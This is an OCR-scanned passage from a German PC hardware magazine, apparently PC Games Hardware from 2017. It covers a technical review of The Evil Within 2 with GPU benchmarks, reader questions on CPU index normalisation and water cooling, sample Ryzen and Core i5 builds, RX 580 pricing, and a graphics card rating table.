Eine nochmals deutlich aufwendi- 
gere Beleuchtung kommt in den zu 
weiten Teilen in Echtzeit berech- 
neten Zwischensequenzen zum 
Einsatz. In ihnen kommen auch 
die Charaktermodelle sowie deren 
(Gesichts-)Animationen eindrück- 
lich zur Geltung. Die Inszenierung 
ist durchweg gelungen, hochauf- 
lösende Texturen zieren Figuren 
und Kleidung, geschickt eingesetz- 
te Shader lassen Augen lebendig 
leuchten. Eine sehr gute englische 
und überzeugende deutsche Syn- 
chronisation sowie eine tolle (Sur- 
round-)Soundabmischung 
malen das Geschehen. Die sehr gut 
greifende und effiziente temporale 
Kantenglättung unterbindet lästi- 
ges Pixelflimmern, eine aufwendi- 
ge Bokeh-Tiefenschärfe sorgt für 
Kino-Flair. 


unter- 


Die Außenareale fallen in Sachen 
Beleuchtung etwas ab und wirken 
hier und dort ein wenig polygon- 
arm. Des Weiteren wirkt die Vege- 
tationsdarstellung in Teilen etwas 
grob, am Rande der weitläufigen 
Umgebungen schimmert hier und 


P4 


dort zudem eine eher detailarme 
Texturierung und grobe Level-Ar- 
chitektur durch die begrenzenden 
Büsche und Báume. Doch generell 
sind auch die Außenbezirke an- 
sehnlich und atmosphärisch und 
gegenüber dem Vorgänger sowohl 
spielerisch als auch technisch eine 
deutliche Weiterentwicklung. 


Auslastungsprobleme bei 
den Grafikkarten 

Leider sind unsere Eindrücke 
nicht alle positiv, auch wenn The 
Evil Within 2 einen deutlichen 
technischen Sprung geschafft hat. 
Während unserer Messungen fie- 
len insbesondere Nvidia-GPUs in 
niedrigeren Auflósungen durch ein 
sehr mäßiges Auslastungsverhalten 
auf. Selbst mit einem sehr flotten 
Intel-Achtkerner (s. Benchmarks) 
werden potente Geforce-Grafikkar- 
ten in Full HD nur bruchstückhaft 
ausgelastet, häufig werden gerade 
einmal 50 Prozent der vorhande- 
nen Grafikpower genutzt. Radeon- 
GPUs haben in niedrigen Auflósun- 
gen weniger mit diesem Umstand 
zu kämpfen. Aus diesem Grund 
wirkt AMD in Full HD aufserordent- 
lich stark. Doch fällt die Auslastung 
mit einer AMD in niedrigen Pixel- 
dichten nur etwas besser aus als 
bei Nvidia, ein Umstand, der sich 
in hóheren Auflósungen revidiert 
oder gar umkehrt: In Ultra HD liegt 
die Auslastung der Geforce-GPUs 
tendenziell hóher als jene der Ra- 
deons, was dazu führt, dass sich 
Nvidia in Ultra HD im Großen und 
Ganzen besser platzieren kann. 


Diese Auslastungsproblematik ist 
bei starken Rechnern nicht allzu 
dramatisch, vor allem in hóheren 
Auflósungen ist die Performance 
von The Evil Within 2 recht ordent- 


The Evil Within 2: Grafikkarten im Leistungstest 


1.920 x 1.080, Ultra-Details, TAA/Q-AF - „Union Horror" 


Asus GTX 1080 Ti Strix OC/11G. r e 98,3 (+81 90) 
Radeon RX Vega 64 Liquid === 88,3 (+63 96) 
Radeon RX Vega 64/8G ccc 85,9 (+58 96) 
Radeon RX Vega 56/8G EX 83,1 (+53 %) 
Gigabyte GTX 1080 G1 Gaming/8G elt 81,1 (4-50 96) 
Inno 3D GTX 1070 ХЗ Ultra/3G esi] 71,7 (+32 96) 
Powercolor RX 580 Red Devil GS/8G XXe? 64,2 (+18 %) 
Asus R9 390 Strix OC/8G X58! 58,3 (+8 %) 
Gigabyte RX 470 G1 Gaming/4G MEME 54,5 (+1 96) 
Zotac GTX 1060 AMP/6G E321! 54,2 (Basis) 
MSI GTX 970 Gaming/3,5+0,5G [Epit 52,8 (-3 %) 
HIS R9 280X IceQ X? Turbo/3G Eur 45,2 (-17 %) 
Gigabyte GTX 770 Windforce OC/2G Loge 36,5 (-33 96) 


3.840 x 2.160, Ultra-Details, TAA/Q-AF - , Union Horror" 


Asus GTX 1080 Ti Strix OC/11G |n] 44,6 (4-137 96) 
Radeon RX Vega 64 Liquid E37 38,1 (+103 96) 
Gigabyte GTX 1080 G1 Gaming/8G ШЗ] 35,6 (+89 96) 
Radeon RX Меда 64/8G. 34 35,3 (+88 96) 
Radeon RX Vega 56/8G. MEMES] 31,7 (+69 96) 
Inno 3D GTX 1070 ХЗ Ultra/8G [39i 29,7 (+58 96) 
Powercolor RX 580 Red Devil GS/8G. 231] 24,0 (+28 96) 
Asus R9 390 Strix OC/8G EEE 22,2 (+18 96) 
Zotac GTX 1060 AMP/6G [1811 20,4 (Basis) 
MSI GTX 970 Gaming/3,5+0,5G ВЕІ 18,8 (0 96) 
Gigabyte RX 470 G1 Gaming/AG Ж ШШ! 18,7 (+-1 96) 
HIS R9 280X IceQ X? Turbo/3G В 14,3 (-24 96) 
Gigabyte GTX 770 Windforce OC/2G 112,2 (-88 96) 


System: Core i7-6900K @ 4,0 GHz, MSI X99A Gaming Pro Carbon, 4 x 8 GiB Corsair 
DDR4-3000; Windows 10 x64 (1703), GF 387.92, RS 17.10.1 Bemerkungen: Basis ist 
die verbreitetste spieletaugliche Grafikkarte laut Steam Hardware Survey (Oktober 2017). 
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lich. Doch liegt offenbar ein Over- 
headproblem vor, welches die effizi- 
ente Nutzung der Systemressourcen 
torpediert - eventuell ein Nebenef- 
fekt der Direct-X-11-Portierung. Die- 
ser Umstand könnte bei schwäche- 
ren Systemen verstärkt auftreten, so 
bemerkten wir bei Tests mit einem 
reinen Vierkerner beispielsweise 
einige lästige Stocker, die mit mehr 
Treads weniger stark bis nicht fest- 
stellbar ausfallen. Hier sollten Ent- 
wickler und Treiberhersteller noch- 


(pr) 


Fazit Hardware 


Horror mit kleinen Technikmacken 
The Evil Within 2 ist ein sehr anspre- 
chender Vertreter des Survival-Hor- 
ror-Genres geworden. Grafisch wurde 
das Spiel erfreulicherweise deutlich 
aufgewertet, insbesondere die Be- 
leuchtung, Schattenwürfe, die Figuren 
und Effekte gefallen. An der Perfor- 
mance bzw. Ressourcennutzung sollte 
Tango Gameworks — eventuell mit 
Unterstützung von AMD und Nvidia — 


aber noch etwas feilen. 
mals ansetzen. 


Zu den größten Neuerungen im zweiten The Evil Within gehört die deutlich offenere 
Struktur der Umgebungen ab Akt 3. 


Fast alle der Zwischensequenzen werden in Echtzeit berechnet. Sehr lobenswert, 
denn das spart nicht nur Downloadzeit, sondern sieht auch deutlich besser aus. 
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CPU-Leistungsvergleich: Mehr Fps, im 
PCGH-Spiele-Index aber geschlagen? 
Mir ist ein Fehler aufgefallen, der den CPU-In- 
dex betrifft. Bei der Spielewertung liegt mein 
Prozessor, der i5-5675 mit 75,3 Prozent vor dem 
i5-7600K mit 73,7 Prozent. Wenn ich aber die 
Fps-Werte vergleiche, liegt der 7600K vorne. 
Wie kann das sein? Habe ich einen Denkfehler? 
[Anmerkung der Redaktion: Der i5-7600K er- 
reicht in den acht aufgeführten Spielen durch- 
schnittlich 84,1 Fps, der i5-5675 hingegen 83,4 
Fps.] 
Rene A., per E-Mail 


Carsten Spille: Ich kann Sie beruhigen, es geht 
hier alles mit rechten Dingen zu. Die Abwei- 
chung kommt zustande, da unsere Indexwerte 
normiert sind. Das bedeutet, dass die Fps-Werte 
Jeweils in Relation zu den höchsten erzielten Er- 
gebnissen gesetzt werden. Der Mittelwert dieser 
erreichten Prozente wird als Grundlage für die 
Index-Berechnung genutzt. 

Das geschieht, um die Auswirkungen von Spie- 
len mit stark unterschiedlichen Fps-Werten aus- 
zugleichen. Stellen Sie sich folgendes Beispiel 
vor: 

- Prozessor A erreicht in Spiel 1 30 Fps und in 
Spiel 2 150 Fps (macht in Summe 180 und im 
Schnitt 90 Fps). 

- Prozessor B erreicht in Spiel 1 36 Fps und in 
Spiel 2 135 Fps (macht in Summe 171 und im 
Schnitt 85,5 Fps). 


CPU B wäre also 4,5 Fps (oder 5 Prozent) lang- 
samer als CPU A, obwohl die zweite CPU im er- 
sten Spiel 20(7) Prozent schneller und im zwei- 
ten gerade einmal 10 Prozent langsamer ist als 
die erste - und hier noch dazukommit, dass die 
10 Prozent extra im niedrigen Fps-Bereich deut- 
lich mehr „Flüssigkeits“-Gewinn bringen als 
die verlorenen 10 Prozent im High-Fps-Bereich. 
Die reine Mittelwertbildung gewichtet zwar die 
Spiele gleich, nicht aber das reale Abschneiden 
in Spielen. High-Fps-Shooter wie Overwatch 
würden also immer mit mehr Gewicht einflie- 
‚беп als Low-Fps-Titel wie Strategiespiele à la 
Anno 2205. 


Normieren wir das Ganze nun auf eine fiktive 
CPU С, die auch gleichzeitig die Leistungsspit- 
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ze darstellt und 60 respektive 250 Fps erreicht: 
Prozessor A schafft so 50 respektive 60 Prozent 
der (derzeit maximal erzielbaren) Leistung, 
Prozessor B hingegen 60 und 54 Prozent. Im 
Mittel also 55 zu 57, was zu einem 3,6-Pro- 
zent-Vorsprung von CPU B führt und die realen 
Leistungsverhältnisse sinnvoller abbildet. 


Wie Grafikkarte mit Wasser kühlen? 
Welche Variante ist besser, 

1. eine Grafikkarte mit Wasserkühler wie die 
MSI GTX 1080 Ti Sea Hawk EK X, 

2. eine Grafikkarte mit Hybridkühler wie die 
Asus GTX 1080 Ti Poseidon, oder 

3. eine Grafikkarte, entweder im Referenz- oder 
Custom-Design, nachträglich mit einem Wasser- 
kühlungsblock auszurüsten? 

Kann man denn davon ausgehen, dass bei 
allen drei Varianten Grafikchip, Spannungs- 
wandler und Grafikspeicher gleich gut gekühlt 
werden? Bei den ersten beiden Varianten wäre 
kein Umbau erforderlich, wobei die zweite Va- 
riante etwas günstiger wäre. Variante 3 ist am 
teuersten, außerdem drohen ein Garantieverlust 
oder gar Defekt, wenn man einen Fehler beim 
Umbau macht. 

Ich möchte gern übertakten und will die Ab- 
wärme nicht im Gehäuse haben, daher denke 
ich an einen externen Radiator wie den MO- 
RA 3 oder Phobya Extreme Nova. Irgendwann 
später werde ich auch den Prozessor in den 
Kreislauf einbinden, der momentan mit der 
NZXT Kraken X62 gekühlt wird. 

Warum leitet man außerdem üblicherweise 
das von der Grafikkarte erwärmte Wasser zur 
CPU, anstatt die Reihenfolge umzudrehen oder 
einen Radiator zwischen Grafikkarte und Pro- 
zessor einzubinden? Man gibt ja so die meiste 
Wärme von der Grafikkarte auf die CPU ab. 

Raffael D. L., per E-Mail 


Torsten Vogel: Werksseitig mit einem Wasser- 
kühlblock versehene Grafikkarten (z.B. die ge- 
nannte Sea Hawk EK X mit EKWB-Kühlkörper) 
unterscheiden sich in ihrer Kühlleistung nicht 
von selbst umgerüsteten Karten. Sie sind aber in 
der Regel teurer als die Summe aus luftgekühlter 
Grafikkarte und Wasserkühlkörper und haben 
einen geringeren Wiederverkaufs/Weiternut- 
zungswert, da man eben keinen passenden 


Luftkühler zur Platine erhält. Auf der Haben- 
seite stehen die volle Garantie und das entfal- 
lende Umbaurisko - gerade für unerfahrene 
Bastler ein echter Mehrwert. Grafikkarten mit 
Hybrid-Kühler bieten diese Vorteile ebenfalls, lie- 
fern konstruktionsbedingt aber eine schlechtere 
Kühlleistung: Gute Temperaturen mit Luftküh- 
lung zu realisieren, ist schwierig, weswegen für 
beide Betriebsarten gedachte Kühler in erster Li- 
nie auf den Luftkühlungsbetrieb optimiert wer- 
den. An einen leistungsfähigen Wasserkreislauf 
angeschlossen, erreichen sie so auch deutlich 
bessere Temperaturen als mit einer (leisen) Luft- 
kühlung möglich sind, aber nicht das Niveau 
reiner Wasserkühlungs-Designs. 


Die Radiatorengröße hängt prinzipiell von 
den eigenen Lautheitsansprüchen ab. Auch 
mit einem 3x 140-mm-Modell für CPU und GPU 
ist man bereits besser aufgestellt als mit einer 
Luftkühlung, bei zu erwartenden über 400 W 
Abwärme ist ein MO-RA für Ultra-Silent-Fans 
aber sicher erstrebenswert. Die Reihenfolge der 
Komponenten spielt nur eine untergeordnete 
Rolle. Selbst mit einer sehr weit gedrosselten 
Pumpe sind nicht mehr als drei bis vier Kelvin 
Temperaturunterschied zwischen der heijsesten 
und kältesten Stelle des Kreislaufes zu erwar- 
ten. Typisch wären unter zwei Kelvin. Die CPU 
kann also auch mit von der Grafikkarte vorge- 
wärmtem Wasser noch gut gekühlt werden. 


PC Games Hardware Online; 
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Alternate: Soll es eine neue Grafikkarte oder ein 
PCGH-PC sein? Besuchen Sie den größten IT-Händler in 
Deutschland! www.pcgh.de/alternate 

Der PCGH-PC: Wenn Sie auf der Suche nach einem gut 
abgestimmten Rechner sind, kommen Sie um die PCGH- 
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Worte des Monats 


, Wenn Sie das Counter-Strike-Finale 
betrachten, dann saufen die in der kurzen 
Zeit bestimmt drei Liter Red Bull." 


Professor Dr. Ingo Froböse von der Deutschen Sporthochschule Köln, der bei E-Sportlern „viele 
professionelle Lücken" sieht, aber auch meint: „Es ist für mich Sport. Es ist sogar Spitzensport.” 


Bild des Monats 


Rossis Restekiste N exce 


Sonic Bomb 


Keiner mag Wecker, aber jeder, der nicht mehr von Mutti geweckt wird, benótigt so ein 
Ding. Allerdings soll es Leute geben, die trotz Wecker verschlafen. Das ist bei der , Sonic 
Bomb" ausgeschlossen! Sie schreckt mit einem Weckton von bis zu 113 dB, was der 
Lautstárke einer Kettenságe in weniger als einem Meter Entfernung entspricht, sogar Bà- 
ren aus dem Winterschlaf. Wenn das immer noch nicht genügt, kann man auch Lichtblitze 
dazu einschalten und sich einen externen Vibrator unter das Kopfkissen legen. Wem der 
Radau, das Gerüttel und das Geblitze nicht schlagartig aufweckt, der braucht keinen Rückkehr der Heimcomputer: Anfang 2018 erscheint für 79,99 € eine Miniaturversi- 
Kaffee, sondern einen Notarzt! on des 1982 debütierten Commodore 64 mit 64 Spielen. Amazon nahm wie bei den 
www.getdigital.de Nintendo-Minis bald keine Vorbestellungen mehr an. Ein Amiga Mini soll folgen. 


Ve 


Quelle: https://thec64.com/ 
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Vega-Kühldesigns: 


Werfen Sie zusammen mit 
Raffael Vötter einen Blick au 
die Vega-64-Varianten AMD 
quid & Air sowie Asus St 
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Projekt-PCs: 6-Kerner 


In jeder Ausgabe stellt PC Games Hardware zwei Beispielkonfigurationen zusammen, an denen Sie 


sich orientieren können, um einen eigenen PC zu bauen. 


ntel hat seine Prozessorgenera- 
I. Coffee Lake veróffentlicht 
(Test ab Seite 16). Damit gibt es aus 
dem blauen Lager erstmals sechs 
Rechenkerne im  Mainstreambe- 
reich ab 200 Euro. Praktisch hat 


vorgezogen, dass weltweit kaum 
Lagerbestánde vorhanden sind. Das 
Mittelklassemodell Core 15-8400 ist 
vereinzelt für circa 200 Euro erhält- 
lich, die großen Brüder gibt es kaum 
bis gar nicht zu humanen Preisen. 


Preisempfehlung in Hóhe von 182 
US-Dollar sollte der Strafsenpreis 
mindestens auf 180 Euro sinken. 
Daraus wird wahrscheinlich aber 
frühestens zum Jahresende etwas, 
wo eine steigende Verfügbarkeit 


bestände spielen derweil AMD in 
die Karten, der im Preisbereich des 
Core i5-8400 den Ryzen 5 1600X 
und 1600 anbietet. Die Spieleleis- 
tung fällt etwas geringer aus, dafür 
kostet der Unterbau mit B350-Main- 


Intel die Markteinführung so weit 


AMD Ryzen 5 


In Anbetracht der unverbindlichen 


erwartet wird. Die wenigen Lager- 


board weniger. 


Intel Core i5 


(mm) 


Komponente 


Hersteller und Produkt 


Preis 


Komponente 


Hersteller und Produkt 


Preis 


Prozessor 


AMD Ryzen 5 1600X 


€ 220,- 


Prozessor 


Intel Core i5-8400 


€ 200,- 


CPU-Kühler 


Be quiet Pure Rock 


ESCH 


CPU-Kühler 


Be quiet Pure Rock 


ESCH 


Grafikkarte (AMD) 


XFX Radeon RX 580 GTS XXX Edition/8G 


€ 300,- 


Grafikkarte (AMD) 


XFX Radeon RX 580 GTS XXX Edition/8G 


€ 300,- 


Grafikkarte (Nvidia) 


Zotac Geforce GTX 1060 AMP-Edition/6G 


€ 280,- 


Grafikkarte (Nvidia) 


Zotac Geforce GTX 1060 AMP-Edition/6G 


€ 280,- 


Mainboard 


Asus Prime B350-Plus 


Sr 


Mainboard 


MSI Z370 SLI Plus 


€ 145,- 


Arbeitsspeicher 


Corsair Vengeance LPX, 2 x 8 GiB, DDR4-3000 


€ 160,- 


Arbeitsspeicher 


Corsair Vengeance LPX, 4 x 4 GiB, DDR4-2666 


€ 160,- 


SSD Samsung SSD 850 Evo 250 GB 


€ 90,- 


SSD Samsung SSD 850 Evo 250 GB 


€ 90,- 


Netzteil 


Seasonic Focus Plus Gold 550 W 


€ 80,- 


Gesamtpreis (ab) € 945,- 


AMD Ryzen 5 1600X 

Wer nicht selbst übertakten móchte, 
greift zum Ryzen 5 1600X mit 3,6 GHz 
Basistakt. Ist man der Hochstellung des 
Multiplikators nicht abgeneigt, kann 
man 20 Euro sparen und den Ryzen 
5 1600 kaufen. Reicht die geringere 
Leistung ohne Übertakten, kann man 
auch die Nutzung des Boxed-Kühlers in 
Betracht ziehen. 


XFX Radeon RX 580 GTS XXX/8G 

Die Preise der Radeon RX 580 pendeln 
sich zurzeit wieder nach unten ein. Die 
XFX Radeon RX 580 GTS XXX Edition 
mit 8 GiByte Grafikspeicher ist für 300 
Euro erhältlich und damit wieder eine 
ernst zu nehmende Alternative gegen- 
über Nvidias Geforce GTX 1060/6G. 
Andere 8-GiByte-Modelle, darunter MSIs 
Gaming X 8G, gibt es für rund 320 Euro. 


Alternativ-Komponenten 
I Ryzen 5 1600, gegebenenfalls samt mitgeliefertem Boxed-Kühler 


(Ersparnis von insgesamt 50 Euro) 


I Asus ROG Strix B350-F Gaming, u. a. mit S1220A-Audio 
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Netzteil 


Seasonic Focus Plus Gold 550 W 


€ 80,- 


Gesamtpreis (ab) € 985,- 


Intel Core i5-8400 
Der Core i5-8400 stellt Intels Einstieg in 
die Welt der Sechskerner dar. Der Basis- 
takt fällt mit 2,8 GHz für ein x400er-Mo- 
dell gewohnt niedrig aus, dafür darf der 
15-8400 seine sechs Kerne per Turbo 
jetzt auf ordentliche 3,8 GHz beschleu- 
nigen. Die Spieleleistung ist etwas hóher 
als bei AMDs Ryzen 5 1600X, Letzterer 
kann aber noch übertaktet werden. 


MSI 2370 SLI Plus 
Bisher hat Intel einzig den Z370-PCH für 
Coffee Lake S freigegeben. Selbst wer 
eine Nicht-K-CPU mit geschlossenem 
Multiplikator kauft, muss auf ein eigent- 
lich für Übertakter gedachtes Mainboard 
zurückgreifen. Dementsprechend müs- 
sen Interessenten mindestens 105 Euro 
investieren. Für eine gehobene Ausstat- 
tung werden 145 Euro fállig. 


INTEL CONFIDENTIAL 
NA 

QNMN 2.80GHZ 
1719c148 (€ 


Alternativ-Komponenten 
I Core i7-8700K, dafür mit günstigerer B360-Plattform, sobald 


verfügbar 


I „Stand-alone”-Version der Radeon RX Vega 56 bzw. 64 
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Preisentwicklung und Kauftipps .pcgh.de/einkaufsfuehrer 


Radeon RX 580 
wird günstiger 


Nach Monaten der schlechten Verfügbarkeit und 
hohen Preise, bedingt durch den Miningboom 
rund um die Kryptowährung Ethereum, verbes- 
sert sich sukzessive die Liefersituation beim Pola- 
ris-Topmodell Radeon RX 580. Die Lagerbestände 
wurden bereits vor Wochen aufgefüllt, inzwischen 
fallen auch die Straßenpreise. AMDs UVP in Höhe 
von 259 Euro für ein 8-GiByte-Modell wird aller- 
dings noch nicht ganz erreicht. 


W^; haben bereits in der vergangenen 
PCGH-Ausgabe 11/2017 über schwanken- 


de Grafikkartenpreise berichtet. AMDs Radeon 
RX 580 und RX 570 waren zwar schon vergan- 
genen Monat breit verfügbar geworden, blieben 
aber noch teuer. Zumindest im Falle des Polaris- 
20-Topmodells hat sich die Situation inzwischen 


gebessert. Ein 4-GiByte-Modell ist ab knapp 260 Preisentwicklung Radeon RX 580 & globale Ethereum-Hashrate 


Euro erhältlich, ein Custom-Design mit 8 GiByte 
MSI Radeon RX 
580 Gaming X 8G 


Grafikspeicher schlägt mit mindestens 300 Euro 120 


zu Buche. Zum Vergleich: Vor einem Monat 400 
mussten Interessenten noch 350 Euro und mehr 380 
für eine solche Grafikkarte berappen. 


399,79 Euro 
„122202 шо 


360 


Zum Redaktionsschluss war die ХЕХ Radeon RX e 


580 GTS XXX Edition bei mehreren Händlern 
für 300 Euro lieferbar. Eine MSI Gaming X 8G 
und Powercolor Red Devil kosteten keine 320 
Euro. Die MSI-Grafikkarte lässt sich eins zu eins 
mit dem direkten Konkurrenten Geforce GTX 
1060/66 vergleichen: Das MSI-Modell mit identi- 240 
scher Kühllösung und GP106-GPU ist vereinzelt 220 
zum gleichen Preis erhältlich, ansonsten rund 04.2017 S > 102017 
15 Euro teurer. Obwohl AMDs unverbindliche zen 
Preisempfehlung in Höhe von 259 Euro noch 
nicht erreicht wird, ist die Radeon RX 580 im- 
merhin wieder eine ernst zu nehmende Alterna- 
tive. Keine Besserung gibt es derweil bei der RX 
570, deren Preise weiterhin bei 250 Euro begin- 
nen - und damit auf dem Niveau der RX 580/4G 
liegen. 


320 


300 


Preis in Euro 


280 
260 


245,69 Euro _ 


Bild: MSI 


120 


100 
80 


60 


Ethereum-Hashrate 


Hashrate in GH/s 


Die Daten von etherscan.io deuten an, dass der 40 


Markt fürs Ethereum-Mining gesättigt ist. Seit ei- 
nem Monat gab es kein Wachstum der weltweit 20 
zusammengefassten Hashrate mehr. Sprich: Den 
Miningnetzwerken wurde seitdem keine grófse- 0 
re Zahl an Grafikkarten hinzugefügt. Der Wert 
der Währung indes ist stabil. (mm) 


Daten: etherscan.io 


07.2015 » 102017 
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ELITE ERPREIS-LEISTUNGS-TIPP 


CELME Т РАА-ТІРР 


Bewertung auf Basis der aktuellen PCGH-Testmethodik 


Nvidia Geforce Сїгса- Grafik- 3D-Taktung Verbrauch Länge/ | Benötigte Lautheit Test in 
Preis | speicher (GPU-Boost/RAM) |(2D/3D/Ernstfall) | (Slot-)Breite | Stromstecker | (2D/3D/Ernstfall) PCGH 
MSI GTX 1080 Ti Lightning Z € 1.020,- .264 MiB | 1.911+/1.391 MHz | 20/310/313 Wa 31,9/5,4 cm | 3x 8-Po 0,0/2,0/2,0 Sone 1,47 11/2017 | www.pcgh.de/preis/1649272 
MSI GTX 1080 Ti Gaming X 11G € 800,- .264 MiB | 1.810+/1.377 MHz | 15/280/283 Wa 27,8/4,5 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,53 06/2017 | www.pcgh.de/preis/1599330 
Gigabyte GTX 1080 Ti Aorus Xtr. Ed. | € 920,- | 11.264 MiB | 1.747+/1.404 MHz | 18/251/252 Wa 29,3/5,5 ст | 2x 8-Po 0,0/1,7/1,8 Sone 1,53 06/2017 | www.pcgh.de/preis/1598560 
Asus GTX 1080 Ti Strix O11G € 850,- .264 MiB | 1.823+/1.377 MHz | 16/276/277 Wa 30,0/46 ст | 2x 8-Po 0,0/2,2/2,2 Sone 1,54 06/2017 | www.pcgh.de/preis/1587607 
Inno 3D GTX 1080 Ti iChill ХЗ Ultra | € 790,- | 11.264 MiB | 1.835+/1.426 MHz | 14/272/273 Wa 30,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,8/1,8 Sone 1,54 06/2017 | www.pcgh.de/preis/1591589 
Zotac GTX 1080 Ti AMP! Extreme | € 950,- .264 MiB | 1.898+/1.400 MHz | 16/319/326 Wa 31,0/5,3 cm | 2x 8-Po 0,0/3,6/3,6 Sone 4,55 06/2017 | www.pcgh.de/preis/1593440 
EVGA GTX 1080 Ti FTW3 Gaming | € 830,- | 11.264 MiB | 1.823+/1.377 MHz | 16/290/290 Wa 30,1/3,5cm | 2x 8-Po 0,0/2,6/3,5 Sone 1,57 08/2017 | www.pcgh.de/preis/1595665 
KFA2 GTX 1080 Ti EXOC € 750,- .264 MiB | 1.709+/1.377 MHz | 13/253/254 Wa 27,8/3,4 cm x 8-/1x 6-Pol | 0,0/1,4/1,5 Sone 1,62 08/2017 | www.pcgh.de/preis/1602039 
Palit GTX 1080 Ti Super Jetstream | € 800,- .264 MiB | 1.709+/1.377 MHz | 16/252/255 Wa 28,5/5,3 cm | 2x 8-Po 0,0/1,9/1,9 Sone 1,63 08/2017 | www.pcgh.de/preis/1599327 
MSI GTX 1080 Ti Armor OC 11G € 750,- .264 MiB | 1.797+/1.377 MHz | 14/282/283 Wa 27,8/3,5 cm | 2х 8-Po 0,0/4,0/4,0 Sone 1,64 08/2017 | www.pcgh.de/preis/1599331 
EVGA GTX 1080 Ti SC2 € 790,- .264 MiB | 1.734+/1.377 MHz | 14/251/255 Wa 27,0/3,5 cm x 8-/1x 6-Pol | 0,0/3,4/4,4 Sone 1,64 08/2017 | www.pcgh.de/preis/1595663 
Zotac GTX 1080 Ti Mini € 750,- .264 МІВ | 1.709+/1.377 MHz | 14/252/255 Wa 21,1/3,5 cm | 2x 8-Po 1,6/4,0/4,0 Sone 1,68 11/2017 | www.pcgh.de/preis/1638562 
Zotac GTX 1080 AMP! Extreme € 590,- | 8.192 MiB 1.987+/1.350 MHz | 10/259/275 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,7/1,9 Sone 1,82 08/2016 | www.pcgh.de/preis/1449220 
Gainward GTX 1080 Phoenix GLH | € 580,- | 8.192 MiB 1.911+/1.315 MHz | 8/219/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,84 08/2016 | www.pcgh.de/preis/1456253 
Palit GTX 1080 Game Rock Prem. | € 570,- | 8.192 MiB 1.911+/1.315 MHz | 8/220/220 Watt 28,5/5,2 cm x 8-/1x 6-Pol | 0,0/1,5/1,5 Sone 1,86 08/2016 | www.pcgh.de/preis/1449283 
EVGA GTX 1080 FTW ACX 3.0 € 550,- | 8.192 MiB 1.936+/1.251 MHz | 12/237/247 Wa 27,3/3,5 cm | 2x 8-Po 0,0/2,4/2,4 Sone 1,86 08/2016 | www.pcgh.de/preis/1449255 
MSI GTX 1080 Gaming X 8G € 560,- | 8.192 MiB 1.886+/1.251 MHz | 13/235/245 Wa 27,713,5 cm x 8-/1x 6-Pol | 0,0/2,3/2,3 Sone 1,90 08/2016 | www.pcgh.de/preis/1449271 
Palit GTX 1070 Game Rock Prem. | €530,- | 8.192 MiB 1.936+/4.253 MHz | 9/171/174 Watt 28,5/5,2 cm x 8-Ро 0,0/0,8/0,8 Sone 2,06 08/2016 | www.pcgh.de/preis/1456802 
Zotac GTX 1070 AMP! Extreme € 450,- | 8.192 MiB 1.987+/4.104 MHz | 12/219/253 Wa 31,2/5,0 cm | 2x 8-Po 0,0/1,6/1,9 Sone 2,07 09/2016 | www.pcgh.de/preis/1456755 
Inno 3D GTX 1070 iChill X3 € 450,- | 8.192 MiB 1.949+/4.104 MHz | 10/190/192 Wa 30,2/4,5 cm x 8-Po 0,0/1,5/1,5 Sone 2,09 09/2016 | www.pcgh.de/preis/1450744 
Asus GTX 1070 Strix 08G € 490,- | 8.192 MiB 1.911+/4.007 MHz | 8/166/167 Watt 29,9/3,5 cm x 8-Po 0,0/1,8/1,8 Sone 2,11 08/2016 | www.pcgh.de/preis/1450613 
MSI GTX 1070 Gaming X 8G € 470,- | 8.192 MiB 1.924+/4.007 MHz | 11/208/208 Wa 27,7/3,5 cm x 8-/1x 6-Pol | 0,0/1,4/1,4 Sone 2,13 08/2016 | www.pcgh.de/preis/1456552 
Gigabyte GTX 1060 Xtr. Ed. 9Gbps | € 330,- | 6.144 MiB 1.974+/4.514 MHz | 12/148/149 Wa 28,0/5,5 cm x 8-Po 0,0/1,1/1,1 Sone 2,44 07/2017 | www.pcgh.de/preis/1613097 
Asus GTX 1060 Strix O6G € 350,- | 6.144 MiB 1.987+/4.104 MHz | 8/145/145 Watt 30,0/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,45 0/2016 | www.pcgh.de/preis/1478721 
MSI GTX 1060 Gaming X 6G € 310,- | 6.144 MiB 1.949+/4.007 MHz | 8/146/146 Watt 27,713,5 cm x 8-Po 0,0/0,7/0,7 Sone 2,47 0/2016 | www.pcgh.de/preis/1478791 
Asus GTX 1060 Strix O6G-9Gbps € 380,- | 6.144 MiB 1.911+/4.514 MHz | 9/132/132 Watt 21,7/3,5 cm x 6-Po 0,0/1,4/1,4 Sone 2,48 07/2017 | www.pcgh.de/preis/1612603 
Zotac GTX 1060 AMP! € 280,- | 6.144 MiB 1.848+/4.007 MHz | 9/121/123 Watt 21,1/3,4 cm x 8-Po 0,0/1,0/1,0 Sone 2,50 0/2016 | www.pcgh.de/preis/1478147 
Gigabyte GTX 1060 G1 Gaming € 330,- | 6.144 MiB 1.962+/4.007 MHz | 9/153/153 Watt 27,9/3,5 cm x 8-Po 0,0/2,4/2,4 Sone 2,51 0/2016 | www.pcgh.de/preis/1479045 
Gainward GTX 1060 Phoenix GS € 300,- | 6.144 MiB 1.860+/4.007 MHz | 6/124/125 Watt 24,6/4,8 cm x 6-Po 0,0/1,4/1,4 Sone 2,53 0/2016 | www.pcgh.de/preis/1478764 
Palit GTX 1060 Super Jetstream € 300,- | 6.144 MiB 1.860+/4.007 MHz | 6/123/125 Watt 24,8/4,8 cm x 6-Po 0,0/1,3/1,3 Sone 2,55 0/2016 | www.pcgh.de/preis/1478641 
EVGA GTX 1060 SC Gaming € 280,- | 6.144 MiB 1.898+/4.007 MHz | 6/122/125 Watt 18,2/3,5 cm x 6-Po 0,0/2,5/2,5 Sone 2,58 0/2016 | www.pcgh.de/preis/1479077 
Gigabyte GTX 1050 Ti G1 Gaming | €180,- | 4.096 MiB 1.645+/3.504 MHz | 8/67/68 Watt 22,0/3,5 cm x 6-Po 0,0/0,3/0,3 Sone 2,89 01/2017 | www.pcgh.de/preis/1526013 
EVGA GTX 1050 Ti SC Gaming € 155,- | 4.096 MiB 1.557+/3.504 MHz | 6/56/59 Watt 15,2/3,5 cm 0,2/0,4/0,4 Sone 2,96 01/2017 | www.pcgh.de/preis/1525248 
Asus GTX 1050 Expedition € 135,- | 2.048 MiB 1.493+/3.504 MHz | 6/55/55 Watt 21,1/3,5 cm 0,0/0,5/0,5 Sone 3,15 01/2017 | www.pcgh.de/preis/1525209 
